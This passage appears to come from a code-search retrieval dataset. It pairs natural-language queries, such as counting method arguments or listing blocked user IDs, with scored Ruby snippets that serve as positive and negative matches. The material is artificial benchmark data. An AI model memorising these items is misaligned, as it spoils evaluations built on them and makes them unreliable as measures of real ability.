"title": "" }, { "docid": "9e8719ce79f845c0459ed3ff90bbf613", "score": "0.53744614", "text": "def sessions\n @sessions.each_key.to_a\n end", "title": "" }, { "docid": "7c2589657318a4c4a9909b80b9e3fa3a", "score": "0.53719926", "text": "def get_current_logged_in_user \n get(\"/users.json/current\")\nend", "title": "" }, { "docid": "7c2589657318a4c4a9909b80b9e3fa3a", "score": "0.53719926", "text": "def get_current_logged_in_user \n get(\"/users.json/current\")\nend", "title": "" }, { "docid": "493fd2d317b055c4227e11b86ae14ce3", "score": "0.5371779", "text": "def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @session }\n end\n end", "title": "" }, { "docid": "81d9cfb5655ad88e811be04bb252f5bb", "score": "0.5369553", "text": "def show\n @session = Session.find params[:id]\n ok_request @session, %w(user, coordinates, waypoints, chats.user)\n\n rescue ActiveRecord::RecordNotFound\n r = {session: 'Record Not Found'}\n return not_found r\n end", "title": "" } ]
3b4f55f9eed1733a191028a830e1eace
Count of parameter argumets
[ { "docid": "dc7461dbef9fbf8b6f138e01c5b6fa7b", "score": "0.78010046", "text": "def arguments_count\n 0\n end", "title": "" } ]
[ { "docid": "3b7ff7ab32c9eaff8bdf59c4985baf8a", "score": "0.82360506", "text": "def paramcount\n return -1 if @variable\n\n paramcount = 0\n @parameters.each do |param|\n paramcount = paramcount +1 unless param.respond_to?(\"value\")\n end\n\n return paramcount\n end", "title": "" }, { "docid": "7c5ac0df0b07a629efe8f8300a2328c6", "score": "0.82252735", "text": "def parameter_count\r\n end", "title": "" }, { "docid": "cc982e7b0e6417639c1a605433568f1b", "score": "0.8151738", "text": "def args_count(*args, **kwargs)\n args.size + kwargs.size\nend", "title": "" }, { "docid": "7fd202cded5e39d7b209a24a9a5fb386", "score": "0.8134804", "text": "def arity\n @paramlist.count\n end", "title": "" }, { "docid": "e0c3330cfb56beefd0e189f2c662b473", "score": "0.8093171", "text": "def parameter_count\n @parameters.size\n end", "title": "" }, { "docid": "389d8f50de0c0fc79d129eaf5d94571a", "score": "0.80285144", "text": "def count_args; proc.arity; end", "title": "" }, { "docid": "57c042b44d9a7aa8ae63203a6bd1232c", "score": "0.8007565", "text": "def number_of_arguments; end", "title": "" }, { "docid": "5019a24606db3e5bcc800323e02275b4", "score": "0.80021054", "text": "def getNumParameters\n @expression.arguments.map {|a| a.value_array.size }.inject(&:+)\n end", "title": "" }, { "docid": "7ed89ca5496b995f2bc42ed4831015bc", "score": "0.7899689", "text": "def arguments_count\n 1\n end", "title": "" }, { "docid": "126a7089a49bb91c71404b88c6bbf854", "score": "0.7836902", "text": "def num_arguments\n\t\treturn @arguments.length\n\tend", "title": "" }, { "docid": "c654174c9de6b6916229881e4dbed9f8", "score": "0.7822262", "text": "def how_many_args(*parameters)\n #splat operator lets you put in numerous parameters\n \n parameters.count\n #count method will count number of parameters \nend", "title": "" }, { "docid": "5da92d84ffc017a77e068620625f94e7", "score": "0.7797319", "text": "def getNumParameters\n return 2\n end", "title": "" }, { "docid": "70f8b51f0ed9c16667c8f55ebd35d074", "score": "0.7726324", "text": "def how_many_args(*args)\n args.count\n # accepts any number of arguments without complaint\n # returns the total number of arguments passed to the function\n # Hint: google ruby *args-----rv\nend", "title": "" }, { "docid": "1418170d0e3d94aa7bc8bb464fa82012", "score": "0.76999956", "text": "def optional_parameter_count\n @parameters.count {|p| p.size == 2 }\n end", "title": "" }, { "docid": "75883e630179b8aa2bc1c6458da5bee5", "score": "0.76945496", "text": "def how_many_args (*parameters)\n parameters.length\nend", "title": "" }, { "docid": "cdec0d0d5aea143ee0e1f91973c91775", "score": "0.7658008", "text": "def num_params\n raise 'Not implemented'\n end", "title": "" }, { "docid": "64a4b67b0730566fd400c987bde3d111", "score": "0.7650382", "text": "def arity\n parameters.length\n end", "title": "" }, { "docid": "37998a68e44d1eb33ab0c7f0a6fffbc5", "score": "0.7622053", "text": "def parameter_count\n # yes, this is duplication of code, but it saves a method call\n (@model.parameters || []).size\n end", "title": "" }, { "docid": "20655e1837e2369b16d1d4d8b3aae313", "score": "0.7583568", "text": "def how_many_args(*arg)\n arg.count\nend", "title": "" }, { "docid": "c3e76a59003340cac7d2237892bd7a8a", "score": "0.7582564", "text": "def how_many_args (*args)\n args.count\nend", "title": "" }, { "docid": "c3e76a59003340cac7d2237892bd7a8a", "score": "0.7582564", "text": "def how_many_args (*args)\n args.count\nend", "title": "" }, { "docid": "4c545831af91323e40440ef12676eb84", "score": "0.75456125", "text": "def how_many_args(*arg)\n return arg.count\nend", "title": "" }, { "docid": "ddab1433211235173c737b8f74d9a5f7", "score": "0.7502167", "text": "def how_many_args (*args)\n args.count\n end", "title": "" }, { "docid": "a553401ed9d833bfff18db7bb4ed824b", "score": "0.75002766", "text": "def argument_count\n @argc + (block ? 1 : 0)\n end", "title": "" }, { "docid": "32ae259fdc509d3198a383706d7c7cd5", "score": "0.7496615", "text": "def how_many_args(*args)\n args.count\nend", "title": "" }, { "docid": "32ae259fdc509d3198a383706d7c7cd5", "score": "0.7496615", "text": "def how_many_args(*args)\n args.count\nend", "title": "" }, { "docid": "32ae259fdc509d3198a383706d7c7cd5", "score": "0.7496615", "text": "def how_many_args(*args)\n args.count\nend", "title": "" }, { "docid": "32ae259fdc509d3198a383706d7c7cd5", "score": "0.7496615", "text": "def how_many_args(*args)\n args.count\nend", "title": "" }, { "docid": "67371d80b960b2cde6337de81ff69e35", "score": "0.74408036", "text": "def how_many_args(*n)\n n.count\nend", "title": "" }, { "docid": "5d7375c21b1f59447163a04b284f0255", "score": "0.7438705", "text": "def how_many_args(*arguments)\n return arguments.size\nend", "title": "" }, { "docid": "448de7256613e9981fa58047c09310c6", "score": "0.74182093", "text": "def how_many_args(*args)\n args.count\n end", "title": "" }, { "docid": "95459299f23a8b57a9f49b639c5403aa", "score": "0.73660046", "text": "def how_many_args(*others)\n others.count\nend", "title": "" }, { "docid": "e8fae70b305a2b112dbc0ae4b4f990e8", "score": "0.7354278", "text": "def parameter_count\n # yes, this is duplication of code, but it saves a method call\n @model.parameters.size\n end", "title": "" }, { "docid": "75cd2f877d611b84249abb94fe6172f5", "score": "0.7351879", "text": "def how_many_args(*args)\n\targs.count\n\nend", "title": "" }, { "docid": "77d4447edb8918274b65fa284ee963d7", "score": "0.73229146", "text": "def count(arg0, arg1, *rest)\n end", "title": "" }, { "docid": "9746e65c53beed94126850de2d1c2ab7", "score": "0.72951436", "text": "def params_count()\n return plugin_params.count; ;\n end", "title": "" }, { "docid": "80b3276b72f440dc8decbcc5ff27d1c0", "score": "0.7294071", "text": "def parameter_count\n pcount = FFI::MemoryPointer.new(:uint)\n rc = NWRFCLib.get_parameter_count(@desc, pcount, @error)\n NWRFC.check_error(@error) if rc > 0\n pcount.read_uint\n end", "title": "" }, { "docid": "e592d47c9699c13890a8ac1d5c1992c5", "score": "0.7273635", "text": "def how_many_args(*args)\n args.size\nend", "title": "" }, { "docid": "8fa5cac5af6a196c14cf348fec36d8d5", "score": "0.72607267", "text": "def arg_size; end", "title": "" }, { "docid": "174303f1b7a6789bbe221aec1841ff75", "score": "0.72504526", "text": "def how_many_args (*args)\n args.length\nend", "title": "" }, { "docid": "daaed8de2e27701fd59386c0bc05cd81", "score": "0.7229281", "text": "def how_many_args(*args)\n args.size\n end", "title": "" }, { "docid": "cf108fea35decb0c06aeede65b467295", "score": "0.72272944", "text": "def optional_parameter_count\n @model.parameters.count { |p| !p.value.nil? }\n end", "title": "" }, { "docid": "6e309b2868ca6f33688da7c515743a42", "score": "0.72233945", "text": "def how_many_args (*arg)\n arg.length\nend", "title": "" }, { "docid": "24f4896aceb8bc1bd9f34f81a703e041", "score": "0.7206275", "text": "def count=(_arg0); end", "title": "" }, { "docid": "24f4896aceb8bc1bd9f34f81a703e041", "score": "0.7206275", "text": "def count=(_arg0); end", "title": "" }, { "docid": "24f4896aceb8bc1bd9f34f81a703e041", "score": "0.7206275", "text": "def count=(_arg0); end", "title": "" }, { "docid": "d8f60bca92746de3584ca5c83da0e287", "score": "0.7202089", "text": "def how_many_args *args\n args.length\nend", "title": "" }, { "docid": "d8f60bca92746de3584ca5c83da0e287", "score": "0.7202089", "text": "def how_many_args *args\n args.length\nend", "title": "" }, { "docid": "f2a23e3a3888f965e1e231a9adc47ee8", "score": "0.7199516", "text": "def how_many_args(*args)\n args.length\nend", "title": "" }, { "docid": "f2a23e3a3888f965e1e231a9adc47ee8", "score": "0.7199516", "text": "def how_many_args(*args)\n args.length\nend", "title": "" }, { "docid": "f2a23e3a3888f965e1e231a9adc47ee8", "score": "0.7199516", "text": "def how_many_args(*args)\n args.length\nend", "title": "" }, { "docid": "8054b954a58a826bece3e0b78b86d2c8", "score": "0.7182433", "text": "def call_counts=(_arg0); end", "title": "" }, { "docid": "fa2d2493d2fc2107261686cb299a2d14", "score": "0.7159852", "text": "def argument_size=(_arg0); end", "title": "" }, { "docid": "60d71998679be3648edab225ce878b84", "score": "0.713207", "text": "def how_many_args(*args)\n args.length\n end", "title": "" }, { "docid": "04c5d5837734b5f10c8ffa74e4b7cdde", "score": "0.7127221", "text": "def number_of_arguments(method_sexp)\n arguments = method_sexp[2]\n arguments = arguments[1] if arguments.first == :paren\n\n arguments[1] == nil ? 0 : arguments[1].size\n end", "title": "" }, { "docid": "ed34c513b33bb151625fb640d330d689", "score": "0.7126497", "text": "def get_method_parameters_count(method_descriptor)\n count = 0\n i = 1\n while i < method_descriptor.size\n if method_descriptor[i] == 'B' || method_descriptor[i] == 'C' ||\n method_descriptor[i] == 'S' || method_descriptor[i] == 'I' ||\n method_descriptor[i] == 'J' || method_descriptor[i] == 'F' ||\n method_descriptor[i] == 'D' || method_descriptor[i] == 'L' ||\n method_descriptor[i] == '['\n count += 1\n if method_descriptor[i] == '['\n i += 1\n i += 1 if method_descriptor[i] != 'L'\n end\n if method_descriptor[i] == 'L'\n i += 1 while method_descriptor[i] != ';'\n end\n elsif method_descriptor[i] == ')'\n break\n end\n i += 1\n end\n MRjvm.debug('[METHOD][COUNT] ' << count.to_s)\n count\n end", "title": "" }, { "docid": "b914173a1d6f4ec3e8789626ef3f171a", "score": "0.7106057", "text": "def argument_size; end", "title": "" }, { "docid": "37fcce6ca44226d201af07ba36dca817", "score": "0.71059066", "text": "def cnt; xparam(6); end", "title": "" }, { "docid": "7165e21918e71c04540d0af6f1c968bb", "score": "0.7099112", "text": "def arg_count\n @min_arg_count..@max_arg_count\n end", "title": "" }, { "docid": "7165e21918e71c04540d0af6f1c968bb", "score": "0.7099112", "text": "def arg_count\n @min_arg_count..@max_arg_count\n end", "title": "" }, { "docid": "a7f20cca77254d997842f101a8ea8a38", "score": "0.70978063", "text": "def call_count=(_arg0); end", "title": "" }, { "docid": "38906d48f9027c60d58df2016b6e7814", "score": "0.709598", "text": "def how_many_args(*args)\n return args.length\nend", "title": "" }, { "docid": "f653e2367e0dacb438b6b0e70af8777d", "score": "0.70190996", "text": "def parm_index(count)\n end", "title": "" }, { "docid": "160b6c74dc96e725ece38a9bebcecedc", "score": "0.6931464", "text": "def count(o1 [, o2, ...])\n end", "title": "" }, { "docid": "b71e3a6a643b7b1745941008c8c12373", "score": "0.6877662", "text": "def parm_ich(count)\n end", "title": "" }, { "docid": "b20813737792add13298be02e656c711", "score": "0.68697226", "text": "def λ\n @argsrc.args_counted\n end", "title": "" }, { "docid": "66401060f046cd81def019264bfa6f44", "score": "0.68457407", "text": "def _define_roda_method_arg_numbers(callable)\n optional_args = 0\n rest = false\n keyword = false\n callable.parameters.map(&:first).each do |arg_type, _|\n case arg_type\n when :opt\n optional_args += 1\n when :rest\n rest = true\n when :keyreq\n keyword = :required\n when :key, :keyrest\n keyword ||= true\n end\n end\n arity = callable.arity\n if arity < 0\n arity = arity.abs - 1\n end\n required_args = arity\n arity -= 1 if keyword == :required\n\n if callable.is_a?(Proc) && !callable.lambda?\n optional_args -= arity\n end\n\n [required_args, optional_args, rest, keyword]\n end", "title": "" }, { "docid": "75dbd0939ce3c4db6388a9f9fa113d26", "score": "0.6840972", "text": "def count(args={})\n end", "title": "" }, { "docid": "a7b432f3553c2a3a454db96d369d16a1", "score": "0.68327904", "text": "def count(*_args)\n to_a.size\n end", "title": "" }, { "docid": "4037577b6bb68be754f2a20611143cad", "score": "0.67797035", "text": "def numbered_arguments; end", "title": "" }, { "docid": "4037577b6bb68be754f2a20611143cad", "score": "0.67797035", "text": "def numbered_arguments; end", "title": "" }, { "docid": "db2329002b4374ad9ac6ce74690c6177", "score": "0.677898", "text": "def nparams()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "799648bd1a4c11b946b5293c63c3daa5", "score": "0.677186", "text": "def size=(_arg0); end", "title": "" }, { "docid": "799648bd1a4c11b946b5293c63c3daa5", "score": "0.677186", "text": "def size=(_arg0); end", "title": "" }, { "docid": "799648bd1a4c11b946b5293c63c3daa5", "score": "0.677186", "text": "def size=(_arg0); end", "title": "" }, { "docid": "799648bd1a4c11b946b5293c63c3daa5", "score": "0.677186", "text": "def size=(_arg0); end", "title": "" }, { "docid": "14889df4e7892f5a745967cd7eccc7fb", "score": "0.6748895", "text": "def num_args(num = nil)\n @num_args = num if num\n @num_args\n end", "title": "" }, { "docid": "ab698be1374bfb51fe676e8a071d87d0", "score": "0.6741273", "text": "def verify_method_param_count(var_name, func_name)\n context = method_exists?(var_name, func_name)\n method_params_count = context.function_directories.functions[func_name].parameters.count\n if method_params_count != @param_index\n puts \"Fatal Error: Wrong number of parameters in #{func_name} call, expected #{method_params_count} got #{@param_index}.\"\n exit\n end\n end", "title": "" }, { "docid": "eeb57d178e8e4b82a10a05470595ce6e", "score": "0.66879314", "text": "def enforce_count(args, params, diff = 0)\n num_args = args.size\n num_params = params.size + diff #params == 'V' ? 0 : params.size + diff\n if num_args != num_params\n raise ArgumentError, \"wrong number of arguments (#{num_args} for #{num_params})\"\n end\n end", "title": "" }, { "docid": "84dfd8d85b2edf11c72efde90ecff4a5", "score": "0.6684345", "text": "def no_of_arguments(with_optional=true)\n tmp=@arguments.reject do |arg|\n unless arg.optional?\n true unless with_optional\n else\n false\n end\n end\n tmp.size\n end", "title": "" }, { "docid": "3a265dc9cda015232c0bc8d95655ff3f", "score": "0.6658488", "text": "def nofDone()\n return @doneParamSetList.size ;\n end", "title": "" }, { "docid": "35958974a2e2eeea9c726eedf1829d87", "score": "0.66545576", "text": "def count(*args)\n all(*args).size\n end", "title": "" }, { "docid": "6eb48b80999f942358287a4a51919aa0", "score": "0.6651958", "text": "def enforce_count(args, params, diff = 0)\n num_args = args.size\n num_params = params == 'V' ? 0 : params.size + diff\n if num_args != num_params\n raise ArgumentError, \"wrong number of parameters: expected #{num_params}, got #{num_args}\"\n end\n end", "title": "" }, { "docid": "db53cde9aeb70016d531238839e467be", "score": "0.66409606", "text": "def length=(_arg0); end", "title": "" }, { "docid": "db53cde9aeb70016d531238839e467be", "score": "0.66409606", "text": "def length=(_arg0); end", "title": "" }, { "docid": "db53cde9aeb70016d531238839e467be", "score": "0.66409606", "text": "def length=(_arg0); end", "title": "" }, { "docid": "db53cde9aeb70016d531238839e467be", "score": "0.66409606", "text": "def length=(_arg0); end", "title": "" }, { "docid": "db53cde9aeb70016d531238839e467be", "score": "0.66409606", "text": "def length=(_arg0); end", "title": "" }, { "docid": "db53cde9aeb70016d531238839e467be", "score": "0.66409606", "text": "def length=(_arg0); end", "title": "" }, { "docid": "db53cde9aeb70016d531238839e467be", "score": "0.66409606", "text": "def length=(_arg0); end", "title": "" }, { "docid": "db53cde9aeb70016d531238839e467be", "score": "0.66409606", "text": "def length=(_arg0); end", "title": "" }, { "docid": "db53cde9aeb70016d531238839e467be", "score": "0.66409606", "text": "def length=(_arg0); end", "title": "" }, { "docid": "f6c8615bac50b2927fc9703f2e3ed706", "score": "0.66381997", "text": "def count(*args)\n cnt = 0\n for el in args\n cnt += 1 if yield el\n end\n cnt\nend", "title": "" }, { "docid": "88af71820fff4754f2b73256c86b8d44", "score": "0.65948564", "text": "def size\n @args.size\n end", "title": "" }, { "docid": "3606662de08b4770b69c046c12923dd1", "score": "0.6580284", "text": "def assert_params_count(count, opt_name, opt_params)\n\t\t\traise WordParserError, \"#{opt_name} expects #{count} params\" if opt_params.nil? || opt_params.size != count\n\t\tend", "title": "" }, { "docid": "00f8824e9a1e5fc047cefc7ca23a234e", "score": "0.657714", "text": "def test_num_args_more\n \targs = [1, 1, 1, 1, 1]\n \tac = ArgChecker.new\n \trefute ac.num_args(args)\n end", "title": "" }, { "docid": "9abc7ff8a1b751e307c770dfc2c2f8b5", "score": "0.65534383", "text": "def verify_func_param_count(func_name)\n function_params_count = @manager.past_context.function_directories.functions[func_name].parameters.count\n\n if function_params_count != @param_index\n puts \"Fatal Error: Wrong number of parameters (received #{@param_index} instead of #{function_params_count}) in function call of #{func_name}.\"\n exit\n end\n end", "title": "" }, { "docid": "bece66cabf419b1cc8407ae92ea39bb8", "score": "0.65397817", "text": "def size\n @opcode_info[:args].size + 1\n end", "title": "" }, { "docid": "461d05e16e0f31361bab5c790b6aec73", "score": "0.6528782", "text": "def counter(*args); end", "title": "" }, { "docid": "ccaa20adb713772ae4c36c79437b88ba", "score": "0.65249676", "text": "def arity\n method(:call).arity\n end", "title": "" } ]
68a4e3bbac7fbddfa0e6c015792023c1
Returns an array of numeric user ids the authenticating user is blocking
[ { "docid": "fb64010537eca70227b14cf038312d49", "score": "0.61014056", "text": "def blocked_ids(options={})\n response = get('blocks/blocking/ids', options)\n format.to_s.downcase == 'xml' ? response['ids']['id'].map{|id| id.to_i} : response\n end", "title": "" } ]
[ { "docid": "291ab88bcd12aef798ddb6f39f5933b6", "score": "0.707944", "text": "def user_ids\n return @user_ids\n end", "title": "" }, { "docid": "c423d0ddffce310943cc93f341e5d0b7", "score": "0.70291513", "text": "def user_ids\n\t\treturn @user_ids\n\tend", "title": "" }, { "docid": "9cc52c652801d1feb2db45cf98287a06", "score": "0.7021708", "text": "def user_ids\n @user_ids\n end", "title": "" }, { "docid": "c5945284eca6e310f27920cf043956ae", "score": "0.7018467", "text": "def userids\n each_userid.to_a\n end", "title": "" }, { "docid": "1f178d383a0fcfd6df556be5f16ef33e", "score": "0.6892164", "text": "def village_user_ids\n users.collect do |user|\n user.uid\n end.compact\n end", "title": "" }, { "docid": "6839437cf610192c66703aba96475529", "score": "0.68733567", "text": "def invisible_to_me\n UserBlock.where(blocked_user_id: self.id).pluck(:user_id)\n end", "title": "" }, { "docid": "85dcb434ff0a225b9a15da977cd9e11c", "score": "0.68635386", "text": "def blocked_users\n find_users_of_type \"USERS_BLOCKED_BY_ME\"\n end", "title": "" }, { "docid": "15c4f9750f03eb8fb2f4b7c4aa54d113", "score": "0.68078154", "text": "def user_ids\n array = Array.new\n\n self.each(\"USERS/ID\") do |id|\n array << id.text.to_i\n end\n\n return array\n end", "title": "" }, { "docid": "18e2ca22e8d0fc948c7768fe898aaffe", "score": "0.6735303", "text": "def current_user_ids\n @current_user_ids\n end", "title": "" }, { "docid": "f702668ed53ef659d44622e59552da19", "score": "0.6659046", "text": "def getUserids\n storeuser = Storeuser.new\n db = storeuser._newDatabase\n notUploadedIds = db.execute (\"SELECT Id FROM FavouriteUsers WHERE MessageSent = 'TRUE'\")\n return notUploadedIds\n end", "title": "" }, { "docid": "0c79335dd5c554c8c4627cd252f8e86f", "score": "0.65932876", "text": "def get_accessible_user_ids(user) \n ids = []\n ids << user.id.to_s\n tickets = user.tickets\n \n tickets.each do |t| \n t.users.each do |u| \n if !ids.include? u.id.to_s\n ids << u.id.to_s\n end \n end\n end\n ids\n end", "title": "" }, { "docid": "834a5c5ea48b66f0ac661d6395910778", "score": "0.6589745", "text": "def true_pending_users\n return pending_users.to_a.select {|user| !include_user?(user)}\n end", "title": "" }, { "docid": "d6010605f86ba531d3d8fc5382e24957", "score": "0.6563612", "text": "def user_ids\n @attributes[:user_ids]\n end", "title": "" }, { "docid": "d6010605f86ba531d3d8fc5382e24957", "score": "0.6563612", "text": "def user_ids\n @attributes[:user_ids]\n end", "title": "" }, { "docid": "d6010605f86ba531d3d8fc5382e24957", "score": "0.6563612", "text": "def user_ids\n @attributes[:user_ids]\n end", "title": "" }, { "docid": "78d32a2a3f7efa48abbbb06c3e9c3ea6", "score": "0.6530774", "text": "def user_ids\n users.select(:id).pluck(:id)\n end", "title": "" }, { "docid": "4c0ebb0c17c26e9b80d6c52f2aa3db2a", "score": "0.65012413", "text": "def blocking_ids\n get(\"/blocks/blocking/ids.json\")\n end", "title": "" }, { "docid": "f15b46f66c2d25795ecfdd33937e6326", "score": "0.64460087", "text": "def interesting_user_ids\n interesting_users.select(\"#{User.quoted_table_name}.id\").map(&:id)\n end", "title": "" }, { "docid": "d3beaea9ccca24471b20b27e2994b58f", "score": "0.64350474", "text": "def user_ids_can_control\n # This gives the list of company id's where permissions is 1\n company_ids = self.company_users.where(permissions: 1).map(&:company_id)\n\n # Find me all the user ids that belong to the companies\n user_ids = CompanyUser.where(company_id: company_ids).map(&:user_id)\n\n # Just to insure the user is seeing all their own videos\n return user_ids.append(self.id)\n end", "title": "" }, { "docid": "9c61491c53979dcf75127a8526d1a249", "score": "0.6411179", "text": "def unaccepted_request_ids\n Friendship.unaccepted.where(friend_id: current_user.id,\n rejected: false).map(&:user_id)\n end", "title": "" }, { "docid": "591f5f333d4916ad15c5e646f57ccf03", "score": "0.6369872", "text": "def user_ids\n users.collect(&:id).flatten.compact.uniq\n end", "title": "" }, { "docid": "5c1ecf60f5f4c931faf6c5fc0b5cd75b", "score": "0.63236487", "text": "def blocked_users()\n merge(blocked_users: 'true')\n end", "title": "" }, { "docid": "f28dc7fecebeaf84efdc4e40fb889c6f", "score": "0.6310593", "text": "def unauthorized_ids\n @unauthorized_ids ||= []\n end", "title": "" }, { "docid": "1041de8cddc215eab28935c42b8e6758", "score": "0.63076097", "text": "def user_ids\n @entries_by_user_id.keys\n end", "title": "" }, { "docid": "7b7ce54bdbb296e450ddf5af99bbaa58", "score": "0.62823206", "text": "def following_user_ids\n self.following_user.map {|user| user.id}\n end", "title": "" }, { "docid": "4435740c7c9d2d9b6863666f15404bcc", "score": "0.6263948", "text": "def get_unviewed_ids(user)\n key = user_key(user)\n redis.zremrangebyscore(key, '-inf', Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i)\n redis.zrevrangebyscore(key, '+inf', '-inf')\n end", "title": "" }, { "docid": "4435740c7c9d2d9b6863666f15404bcc", "score": "0.6263948", "text": "def get_unviewed_ids(user)\n key = user_key(user)\n redis.zremrangebyscore(key, '-inf', Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i)\n redis.zrevrangebyscore(key, '+inf', '-inf')\n end", "title": "" }, { "docid": "64a1e391d936b2164b4c6cfc21d5bf73", "score": "0.6261217", "text": "def ignored_potential_friend_ids\n REDIS.lrange(not_potential_friend_ids_key, 0, -1).map(&:to_i)\n end", "title": "" }, { "docid": "079e669dcc43615c64c0960b81e6a5b2", "score": "0.6256763", "text": "def user_ids\n galaxy_users.pluck(:userid)\n end", "title": "" }, { "docid": "d39ccb5ed2fcf9bb015b14439b4788c3", "score": "0.6235248", "text": "def interested_user_ids\n [self.id] + followers.select(\"#{User.quoted_table_name}.id\").with_state(:registered).map(&:id)\n end", "title": "" }, { "docid": "ff5607a6de15c554aa8657c7cc3edbef", "score": "0.6225667", "text": "def get_watching_users(video_id)\n watching_users = []\n watch_store = PStore.new(STORAGES[:customer],false)\n watch_store.transaction(true) do\n current_time = Time.now\n watching_users = watch_store.roots.select do |user_id|\n due_time = watch_store[user_id][video_id]\n if due_time.present?\n current_time < due_time\n else\n false\n end\n end\n\n end\n watching_users.map(&:to_i)\n end", "title": "" }, { "docid": "82dd8352af3b0b48cb6b64c8b91bb51a", "score": "0.6193776", "text": "def triggering_user_ids\n @attributes[:triggering_user_ids]\n end", "title": "" }, { "docid": "09fbae83e713747ac9a369fcf12d081d", "score": "0.6192137", "text": "def blocking?(other_user)\n blocking.include?(other_user)\n end", "title": "" }, { "docid": "09fbae83e713747ac9a369fcf12d081d", "score": "0.6192137", "text": "def blocking?(other_user)\n blocking.include?(other_user)\n end", "title": "" }, { "docid": "c58cc7ffead53c20581b37d5ba342f65", "score": "0.618923", "text": "def get_friend_ids\n\tbegin\n\t\tfriend_ids = Thread.current['conn']['twitter'].friend_ids\n\trescue Twitter::Error::TooManyRequests => error\n\t\t$log.warn(\"AUTH: Rate limited (#{error.rate_limit.reset_in})\")\n\t\tsleep error.rate_limit.reset_in\n\t\tretry\n\tend\n\n\tfriend_ids\nend", "title": "" }, { "docid": "79969436ee9bd175526f59502e827a7f", "score": "0.6136922", "text": "def flickr_ids\r\n res = []\r\n self.invitees(STATUSES_ACCEPTED).each do | usr |\r\n flickr_id = usr.get_att_value(UserAttribute::ATT_FLICKR_ID)\r\n res << flickr_id if !flickr_id.nil?\r\n end\r\n \r\n return res\r\n end", "title": "" }, { "docid": "87e73617eaac55bddf78cfd5556a8eda", "score": "0.6132791", "text": "def list_incoming_friend_requests\n\t\tself.incoming_friend_requests.pluck(:user_id)\n\tend", "title": "" }, { "docid": "15cb545097b7ac47fff2f15075767625", "score": "0.612731", "text": "def nonbusted_users\n users.find { |u| value(u.hand(self)) <= 21 }\n end", "title": "" }, { "docid": "e5a62d84973c1484ee8f2f2606c79d0f", "score": "0.6092971", "text": "def friend_ids(user_id)\n @redis.smembers(key(user_id)).map(&:to_i)\n end", "title": "" }, { "docid": "c1f6a4c7b725a4f6a3518e71b22f4af3", "score": "0.60768294", "text": "def get_all_invisible_to_me\n #invited_users = User.with_role(:invited_user).pluck('users.id')\n deleted_users = User.where('deleted_at is not null').pluck('users.id')\n users = self.hidden_user_ids.concat(self.invisible_to_me).concat(deleted_users).concat([self.id])\n if users == []\n # Needed to fix MySQL bug where an '.. NOT IN (NULL)' query does not work\n return [self.id]\n else\n return users\n end\n end", "title": "" }, { "docid": "ec696cdbcc66c8a6687d8daf8395170b", "score": "0.6075833", "text": "def user_whiteboard_ids\n self.user ? self.user.whiteboard_ids : []\n end", "title": "" }, { "docid": "6dd49fa41f9e33efa6499fbf8d1646ca", "score": "0.6075529", "text": "def get_blocked_users(offset, limit = 100)\n broadcast('@type' => 'getBlockedUsers',\n 'offset' => offset,\n 'limit' => limit)\n end", "title": "" }, { "docid": "ecbd044043df01b17f8e78e9af1a6c5b", "score": "0.6057552", "text": "def event_rateable_users\n\t\tuser_ids = Invite.confirmed.joins(:event)\n\t\t\t\t.where('events.id in (?) and invites.user_id != ?', invited_events.completed.ids, id)\n\t\t\t\t.pluck(:user_id)\n\t\tUser.where( id: user_ids.uniq )\n\tend", "title": "" }, { "docid": "6409c25f6507396e11030dc3149434da", "score": "0.60571223", "text": "def messageable_user_ids\n if self.admin?\n return User.all.collect(&:id)\n elsif self.parent?\n users = self.person.school_groups.collect{|g| g.users.of_types(\"Teacher\").map(&:id) + g.parent_user_ids}.flatten\n return (users + self.friend_user_ids + User.admin.map(&:id))\n elsif self.school\n return self.school.group.user_ids + (self.student? ? self.friend_user_ids : self.school.group.parent_user_ids)\n else\n return self.groups.collect(&:user_ids).flatten\n end\n end", "title": "" }, { "docid": "6c5623775300096aa20e584b9bb75fcb", "score": "0.60536236", "text": "def tagged_user_ids\n tagged_users.collect(&:id)\n end", "title": "" }, { "docid": "b0bd6d9f5a65ded32fc359bc8e8ff329", "score": "0.60510314", "text": "def user_ids\n students.collect(&:user_id)\n end", "title": "" }, { "docid": "1bb6cbb195e09f5796389af0808be10c", "score": "0.6039103", "text": "def currently_blocked_by\n possibly_blocked_by.reject(&:in_nonblocking_status?)\n end", "title": "" }, { "docid": "309621c275530628bb4ffcfc34abeedc", "score": "0.60312915", "text": "def user_ids\n # soy el friend y obtengo el user_id\n Friendship.active.where(friend:self).pluck(:user_id) \n # SELECT user_id FROM friendships WHERE friend_id = 17\n end", "title": "" }, { "docid": "2dc2d5dbd540a07c47a924a52d9caca3", "score": "0.60309076", "text": "def users_waiting_for_authorization\n find_users_of_type \"USERS_WAITING_MY_AUTHORIZATION\"\n end", "title": "" }, { "docid": "bf95b81ec37fc9846212590c8f8ee27e", "score": "0.60293615", "text": "def get_users_with_temp_balance()\n users = DB[\"SELECT DISTINCT user_id FROM econ_user_balances\"]\n\n array = []\n users.all.each do |user|\n array.push(user[:user_id])\n end\n\n return array\n end", "title": "" }, { "docid": "a7e3492e0a53632891ac26e0f334b113", "score": "0.6018803", "text": "def received_requests\n User.where(id: received_requests_ids)\n end", "title": "" }, { "docid": "7282e7a1802b5ff7b91b2606b0b7e34f", "score": "0.59910727", "text": "def get_unviewed_ids(user)\n key = user_key(user)\n redis.zremrangebyscore(key, '-inf', Time.now.to_i)\n redis.zrevrangebyscore(key, '+inf', '-inf')\n end", "title": "" }, { "docid": "5bb450a7b552fcd9e9b84b5c875a15dc", "score": "0.5977613", "text": "def get_user_list\n\t\treturn @user_id\n\tend", "title": "" }, { "docid": "b5a0326073e5ad37bd39d414644911f8", "score": "0.59668946", "text": "def should_have_been_blocked_by\n return [] unless self.in_nonblocking_status?\n currently_blocked_by\n end", "title": "" }, { "docid": "9752669e267d3054b07253167d2fe48a", "score": "0.59578806", "text": "def friend_requests\n received_friendships.map{|friend| friend.user_id if !friend.accepted}.compact\n \n\tend", "title": "" }, { "docid": "510858cabfc55e97bd22c12899bd1a45", "score": "0.5954846", "text": "def busted_users\n users.find { |u| value(u.hand(self)) > 21 }\n end", "title": "" }, { "docid": "24b32cd45a0eb996489ef2460c6b4df5", "score": "0.59474605", "text": "def extract_user_ids\n User.all.map do |user|\n user.id\n end\nend", "title": "" }, { "docid": "b25ffbe0815e1f2776f67f3ec69be5d4", "score": "0.59310997", "text": "def read_users()\n userIds = []\n 